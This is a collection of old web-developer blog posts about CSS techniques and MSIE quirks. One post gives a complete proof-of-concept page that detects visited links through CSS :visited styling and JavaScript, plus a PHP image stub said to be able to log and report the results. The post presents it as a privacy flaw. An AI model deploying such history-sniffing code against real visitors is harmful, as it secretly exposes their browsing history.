Preventing portions of a webpage from printing

A colleague asked me about my solution for this just the other day, here’s the quick solution.

  1. Add a CSS class attribute to the items.  Assuming they are <div>’s for header and footer, they would look like my example below, but you can add the ‘no-print’ class to anything you don’t want printed.
  2. Add a stylesheet with media=”print” to change the visibility and/or display attributes of that class.
  3. With a little more work, you could add a ‘no-screen’ solution too… this would be advantageous in cases where you may need to mask an account number or SSN.

<html>
<head>
<title>Example</title>
<link media=”print” href=”print.css” type=”text/css” rel=”stylesheet” />
</head>
<body>
<div class=”no-print”>This is your header</div>
<div>this is the body</div>
<div class=”no-print”>this is your footer</div>
</body>
</html>

print.css could then contain:

.no-print { display:none; }

Cheers!

Exploiting Browser History via CSS

Marketing people will likely love this hack. Information Security types may dislike the exposure of potentially sensitive information. Browser Accessibility individuals will obviously dislike that the fix removes standard ‘history’ behaviors from the browser in many cases.

Cascading Style Sheets (CSS) is a stylesheet language used to describe the presentation of a document written in a markup language, such as HTML. CSS is NORMALLY not a security concern as the technology does not directly effect anything outside of the webpage being viewed. Unfortunately with modern browsers (newer than 4.x), the CSS :visited pseudo-class can be exploited in the following manner to notify a phisher when a user has visited the web page.

  1. A different ‘style’ (color, font, background-image, position) can be set for visited links, allowing this “difference” to be detected via javascript and thus reported back to the website owners.
  2. A background-image defined in CSS “COULD” be a program that records the visited link directly (and allows the display of an image on the website).

There are several ways that this data can be exploited and shared with ‘other’ websites. I’ve included a simple JavaScript “alert()” in my Proof of Concept, the rest should be obvious to any developer with a decent knowledge of web technologies such as JavaScript, DOM, CSS and AJAX.

As ‘contexual’ links are a web standard, and users generally expect to see ‘visited’ links styled differently than ‘unvisited’ links, this behavior and user expectations must also be changed.

Thankfully, there are Mozilla plugins to defend against just this sort of attack:

References:

While unrelated to this particular defect, it helps to understand what else is typically shared between websites. Generally, the ‘Referring URL’ (the page where the link to a new website exists) is shared with the receiving website. Some browsers allow for this HTTP Header to be blocked to prevent this sort of tracking.
Example Code:

<html>
<head>
<title>CSS History Exploit</title>
<style type="text/css">
a.somecls:visited { background-image: url('exploit-image.php?example=cls'); }
a#someid:visited { background-image: url('exploit-image.php?example=id'); }
a:visited { color:red; }
a:link { color:green; }
</style>
<script type="text/javascript">
function xgetHelper(id){
var obj = null;
try {
obj = document.getElementById(id);
} catch(z) {
var dummy=alert("Error:" + z);
}
return obj;
}
function xmillis(){
return new Date().getTime();
}
/*
* This example looks at existing links on the page by using known 'id's for them
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistory(obj){
var a1=exploitHistoryID('a1');
var a2=exploitHistoryID('a2');
var a3=exploitHistoryID('a3');
var rc = a1 + "|" + a2 + "|" + a3;
alert(rc);
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
*/
function exploitHistoryDOM(obj){
var x=xgetHelper('links');
var children=x.getElementsByTagName('a');
var rc = '';
for(var i=0; i < children.length; i++){
var b=exploitHistoryOBJ(children[i]);
if(rc!=""){ rc=rc+"|"; }
rc=rc+b;
}
alert(rc);
}
/*
* @param id String
* @return boolean
*/
function exploitHistoryID(id){
var obj=xgetHelper(id);
return exploitHistoryOBJ(obj);
}
/*
* Checks the current CSS color attribute on an (anchor) link to see if it's been visited, indicating that it is in browser history.
* @param obj Object - the HTML (a) tag
* @return boolean
*/
function exploitHistoryOBJ(obj){
var rc=false;
var moz_match='rgb(255, 0, 0)';
var msie_match='red';
if(obj!=null){
var rgb='';
try{
rgb=obj.getStyle('color');//obj.style.backgroundImage;
match=moz_match;
}
catch(e){
// this is likely because the above is Mozilla/DOM dependent, try MSIE currentStyle
try{
var cs=obj.currentStyle;
if(cs!=null){
rgb=cs.color;
}
match=msie_match;
}
catch(e){
//alert('Error:' + e);
}
}
if(rgb==match){
rc=true;
}
}
return rc;
}
/*
* Expects URL with queryString as param href
* @param x URL
* @return boolean
*/
function exploitHistoryURL(obj,x){
var obj=createURL(x);
var rc=exploitHistoryOBJ(obj);
alert(x + "=" + rc);
return false;
}
/*
* This will create an A HREF in the DOM and return the reference to the calling method.
* @param x URL
* @return obj Object of the generated FORM
*/
function createURL(x){
var rc=null;
try{
var id="url" + xmillis();
var oA=document.createElement("a");
oA.setAttribute("id",id);
oA.setAttribute("href",x);
//oA.setAttribute("style","display:none;");
var oBODY=document.getElementsByTagName("body")[0];
oBODY.appendChild(oA);
rc=oA;
}catch(e){
alert("Error"+e);
}
return rc;
}
/*
* @param obj Object clicked - NOT USED in this EXAMPLE
* @param id String - 'id' of INPUT field
*/
function exploitIt(obj,id){
var rc=false;
var aINPUT=xgetHelper(id);
if(aINPUT!=null){
var x=aINPUT.value;
rc=exploitHistoryURL(obj,x);
alert(x + "=" + rc);
}
return false;
}
</script>
</head>
<body>
<p>NOTE: Not so obvious in this example, without looking at the code, is that a PHP file (exploit-image.php) is used to generate the background-image, it COULD be crafted to send data to this (or any other) website for analysis.</p>
<p id="links">[ <a id="a1" href="http://www.giantgeek.com/">http://www.giantgeek.com/</a> |
<a id="a2" href="http://www.skotfred.com/">http://www.skotfred.com/</a> |
<a id="a3" href="http://localhost/">http://localhost/</a> |
<a href="http://slashdot.org/">http://slashdot.org/</a> |
<a href="http://www.mozilla.org/" class="somecls">http://www.mozilla.org/</a> |
<a href="http://www.microsoft.com/" id="someid">http://www.microsoft.com/</a>
]</p>
<a href="javascript:void(0);" onclick="exploitHistory(this);">Exploit History via CSS</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryDOM(this);">Exploit History via CSS - DOM</a><br />
<a href="javascript:void(0);" onclick="exploitHistoryURL(this,'http://www.skotfred.com/');">Exploit History via CSS - URL (http://www.skotfred.com/)</a><br />
<form action="#" method="get" onsubmit="return false;">
<input type="text" name="url" id="url" value="" /><button type="button" onclick="return exploitIt(this,'url');">CHECK</button>
</form>
</body>
</html>

Supporting file for exploit-image.php (STUB for example):

<?php
// NOTE: you could read the param and log the URL here (if desired) this just redirects for now.
//header("Cache-Control: no-store");
header('Location: /images/anim.gif');
?>

Cheers, you’ll probably want a drink after that, either to celebrate or forget!

MSIE6 CSS issue ‘dotted’ behaves like ‘dashed’

Another fix in MSIE7 (broken before), ‘dotted’ is now implemented, in MSIE6 dotted had the same visual representation as ‘dashed’.

This explains why you might expect to see a line of “……” that appear to be “——“, even when you’re absolutely positive that you’re CSS is correct!
CSS:

border:1px dotted #fff;

HTML Example:

<html>
<head>
<title>dotted-dashed Example</title>
<style type=”text/css”>
fieldset {background-color:#fcfcfc;
width:95%;
padding:15px 10px 0 10px;margin:0 0 20px 0;
border:1px solid #999;
border-top-width:2px;
overflow:hidden;}
fieldset div.buttons {clear:both; padding-top:10px;padding-bottom:10px;margin:3px 0 0 0;border-top:1px dotted #b5b5b5;text-align:left;}
</style>
</head>
<body>
<fieldset>
Some form fields go here…
<div class=”buttons”>
Some buttons go here…
</div>
</fieldset>
</body>
</html>

Cheers!

MSIE6 background-image caching (or lack of it…) and flickering

This has been an annoyance of this (IMHO very buggy) browser since it was first beta tested. Earlier (5.x) and newer (7.x) versions do not exhibit this problem.
For some reason Microsoft developers broke the caching mechanism for background images, particularly when defined in CSS. This makes for slow screen painting as well as wasted network traffic as each occurrence of the image becomes a new HTTP request to the webserver. This also causes a notable delay in those images painting on the screen and ‘flicker’ when the images are used in CSS rollover effects. Since the image obviously isn’t changed it results in many ‘HTTP 304 Not Modified‘ entries in the server logs.

Fixes…

1. You CAN/SHOULD set the Expiry for the images, however this can be problematic. Since I typically run Apache HTTPD, those instructions follow:

a) Set an explicit expiry time based on MIME types in the http.conf file.

[instructions in separate post]

b) Enable .htaccess for the server and allow its usage in individual folders on the server.

[instructions in separate post]

c) Use client-side technologies to hack around the problem…. you can use many CSS tricks, but I’ve found that JavaScript is the easiest (most compatible) method.

Add the following to a method executed in the onload event of the page…

<script type=”text/javascript”>
try {
document.execCommand(‘BackgroundImageCache’, false, true);
} catch(e) {}
</script>
NOTE: MSIE will execute the Javascript, Mozilla and other browsers will throw an exception and wind up in the catch block… which ignores the problem.

UPDATE:
With the use of conditional comments, this can be added to an MSIE specific JS file, or even better an MSIE specific CSS file containing the following:


html {
filter: expression(document.execCommand("BackgroundImageCache", false, true));
}

REFERENCES:

CSS2 Colors

CSS Level 2 defines several additional color names that represent the special system-specific colors used by the operating system. These names should look look very familiar to prior developers of “Fat Client” software, primarily VisualBASIC and PowerBuilder.

NOTE: These work with MSIE 5.0+ and Mozilla/Netscape 5.0+, prior browsers “try” to interpret these colors as hexadecimal RGB (Red/Green/Blue) equivalents, resulting in a huge mess.

The colors shown below will be mapped from your current operating system settings and as such MAY vary from computer to computer!

CSS 2 Color Name Example (Using Background-color) Description
ActiveBorder Active window border.
ActiveCaption Active window caption.
AppWorkspace Background color of multiple document interface.
Background Desktop background.
ButtonFace Face color for three-dimensional display elements.
ButtonHighlight Dark shadow for three-dimensional display elements (for edges facing away from the light source).
ButtonShadow Shadow color for three-dimensional display elements.
ButtonText Text on push buttons.
CaptionText Text in caption, size box, and scrollbar arrow box.
GrayText Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.
Highlight Item(s) selected in a control.
HighlightText Text of item(s) selected in a control.
InactiveBorder Inactive window border.
InactiveCaption Inactive window caption.
InactiveCaptionText Color of text in an inactive caption.
InfoBackground Background color for tooltip controls.
InfoText Text color for tooltip controls.
Menu Menu background.
MenuText Text in menus.
Scrollbar Scroll bar gray area.
ThreeDDarkShadow Dark shadow for three-dimensional display elements.
ThreeDFace Face color for three-dimensional display elements.
ThreeDHighlight Highlight color for three-dimensional display elements.
ThreeDLightShadow Light color for three-dimensional display elements (for edges facing the light source).
ThreeDShadow Dark shadow for three-dimensional display elements.
Window Window background.
WindowFrame Window frame.
WindowText Text in windows.

Cheers!

CSS implemention in HTML

CSS = Cascading Style Sheets, this is done primarily to externalize the ‘look and feel’ of a web page from the actual ‘data’ being presented.

There are several ways to do this…
1. External file (most common)… add the following to the <head> section of your page:

<meta http-equiv="Content-Style-Type" content="text/css" />
<link rel="stylesheet" type="text/css" href="/filename.css" media="all" />

2. Inline (usually in the <head> section of every page):

<style type="text/css" media="screen">
<!--
... // some stuff here.
-->
</style>

3. Inline (on individual tags):

<div style="color:red;">Red text</div>

NOTES:
1. Media types (common – though others exist!):
* screen
* print
* all

2. Guideline: always use lowercase names in your CSS, MUST start with an alpha (not numeric).

Adding ‘drop shadows’ to your HTML INPUT fields with CSS

Eventually there comes a time when either you, or your client(s) want you to make your HTML <form>’s sexier… one of the simplest approaches you can take is the addition of a ‘drop-shadow’ to the ‘text’ entry box. One new image and some simple CSS and you’re done!

For the purposes of this article, lets use the image i have here (INPUT white background).

Now for the CSS….
If you’re doing this inline it’ll cause you less trouble if you have a large site and only want this in a few locations.
<input type="text" style="background:#fff url(/images/input_white.png);" value="" />

Now… if you want to put this in an external CSS file you could add a ‘class’ or ‘id’ to this &input> tag, as follows…
<style type="text/css">
input#shadowclass { background:#fff url(/images/input_white.png); }
input.shadowid { background:#fff url(/images/input_white.png); }
</style>
<input type="text" class="shadowclass" name="x1" value="" />
<input type="text" id="shadowid" name="x2" value="" />

NOTE: There are better ways to do the above, but i showed the above to make the implementation obvious.

Now, we can stick the above in an external CSS and use some more specificity to prevent other problems that we’ll elaborate on…

PROBLEM…
If you assign the CSS to the <input> tag itself, you’ll get the undesired background on your CHECKBOX, RADIO, and SUBMIT input types.
The fix… either use a ‘class’ for the cases where you want to apply this style… alternately, apply a ‘class’ for the cases that you don’t want this style.
Future (not well supported currently)… use the ‘type’ in you CSS definition, like so..
input[type='text'] { background:#fff url(/images/input_white.png); }
NOTE: there’s a method in MSIE to use the ‘expression’ concept in your CSS, but i advocate ‘standards’ here, so we won’t delve any further into that topic other than to say it ‘exists’!

So here’s our final approach/recommendation for ‘current’ browsers (in our designs)… you’ll get the shadow ONLY on ‘text’ and ‘password’ input fields and not on the others…

<style type="text/css">
input { background:#fff url(/images/input_white.png); }
input#noshadow { background:transparent; }
</style>
<input type="text" name="x" value="" />
<input type="password" name="p" value="" />
<input type="radio" class="noshadow" name="r" value="" />
<input type="checkbox" class="noshadow" name="c" value="" />
<input type="submit" class="noshadow" name="s" value="" />

WARNING: the background image we use in the example above is only 200px wide, if your text field is larger than that you’ll need to account for it in some way! (otherwise you’ll get a tiled background or run out of ‘shadow’)

More advice…

  1. You can also apply this technique to <textarea> using a similar approach!
  2. This may also be a useful way to indicate ‘errors’, ‘required fields’ or ‘passwords’ in a Rich UI.

MVC from a Java perspective.

I’ve been asked to explain this concept on a pretty regular basis by non-programmers… to a visual ‘presentation’ developer, this is essentially the same reason a person would chose to use CSS with HTML (to seperate data from presentation), only it goes a bit further…

  • Controller – extends HttpServlet, acts as the point of entry into the application, and delegates to various worker classes to fulfill a request. In particular, the Controller is a user of Model and View objects
  • Model – data-centric classes encapsulating problem domain objects. Each class corresponds roughly to the rows of a database table. Model objects can be constructed from a ResultSet of a database query, from user input, or from user request parameters.
  • View – implemented as Java Server Pages (or a similar tool), primarily concerned with presentation and formatting of Model objects which have been placed in scope by the Controller (or its delegate)

Gradient HTML

Provided that all of the ‘buttons’ in your application already use the HTML <button> tag, this is a simple matter to accomplish:
1. Modify your CSS to include the following:

button{background:#eee url(../images/button.png);}

2. Upload the gradient image that you intend to use. (in this example button.png)

3. Done.

For your convenience, the image I use is available here (Gradient Button Background Image)

NOTE: MSIE exhibits some poor caching behaviours when background images are used, look for a post on this elsewhere in my blog.

Disabling the HTML <font> tag

Oreilly has a great way of making the <font></font> tag non-functional in cases where the content may contain it (for uncontrollable reasons):

Mind you, this won’t validate properly, but it will disable the usefulness of the tag itself.

Add the following to your CSS definitions

font { color: inherit !important;
background: inherit !important;
font-family: inherit !important;
font-size: inherit !important; }

Recommended ‘simple’ replacement for the tag (when you don’t have time to restructure the entire site) is to use the <span></span> tag with appropriate styles to replace all instances of the <font></font> tag in the markup.